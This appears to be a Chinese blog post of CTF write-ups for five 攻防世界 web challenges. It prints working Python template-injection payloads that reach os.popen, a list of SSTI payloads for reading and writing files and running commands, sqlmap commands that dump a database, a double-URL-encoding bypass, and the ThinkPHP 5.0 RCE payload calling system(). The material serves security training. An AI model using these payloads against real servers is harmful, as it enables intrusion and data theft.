1. 程式人生 > 實用技巧 >攻防世界web進階(一)

攻防世界web進階(一)

1.PHP_python_template_injection

1.題目提示python模板注入,測試http://220.249.52.133:47149/{{7+7}},發現回顯“URL http://220.249.52.133:47149/14 not found”,說明括號裡的程式碼被執行了,存在SSTI。
2.訪問http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()}}檢視所有模組。
3.os模組都是從warnings.catch_warnings模組入手的,在所有模組中查詢catch_warnings的位置,為第59個。
4.訪問http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

,檢視catch_warnings模組都存在的全域性函式,可以找到linecache函式,os模組在其中。
5.訪問http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)}},執行ls命令,發現fl4g檔案。
6.訪問http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat fl4g%22).read()'%20)}}
檢視fl4g,得到flag。

pytho模板注入常用的payload

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() #讀檔案
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') #寫檔案
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) #執行命令

2.ics-06

1.訪問頁面,發現除了雲平臺報表中心其他頁面都一樣,發現報表中的id只能為數字,如果為字母訪問跳轉到id=1。
2.使用burp對id進行暴力破解,發現id為2333時,響應包長度不同,獲得flag。

3.newcenter

看到輸入框,可能存在sql注入,用sqlmap跑。
1.獲取注入點
sqlmap -u http://192.168.100.161:53459 --data "search=df"
2.獲取資料庫資訊
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs
3.獲取庫內表資訊
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
4.獲取表內欄位資訊
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
5.獲取欄位內容,得到flag
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump

4.PHP2

1.檢視原始碼什麼都沒有,掃目錄發現index.php,什麼都沒有。
2.訪問index.phps,發現原始碼。

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

3.原始碼審計
傳入一個id並且id進行url解碼以後要等與admin,在瀏覽器中輸入admin時,瀏覽器會進行第一次解碼,所以payload要對admin進行兩次urlencode,構造payload http://220.249.52.133:46012/index.php?id=
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65,得到flag。

5.php_rce

1.訪問題目連結,發現網站使用框架為ThinkPHP 5.0,結合題目,猜測網站存在ThinkPHP RCE漏洞,使用index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls作為測試payload,檢視網站目錄。
2.訪問http://220.249.52.133:39790/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*",獲得flag的位置:/flag。
3.訪問http://220.249.52.133:39790/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag得到flag。

參考連結
https://adworld.xctf.org.cn/task/writeup?type=web&id=5408&number=3&grade=1&page=1
https://blog.csdn.net/iamsongyu/article/details/85861811
https://adworld.xctf.org.cn/task/writeup?type=web&id=4920&number=3&grade=1&page=1
https://adworld.xctf.org.cn/task/writeup?type=web&id=4686&number=3&grade=1&page=1
https://adworld.xctf.org.cn/task/writeup?type=web&id=5412&number=3&grade=1&page=1

2020-8-11 第四周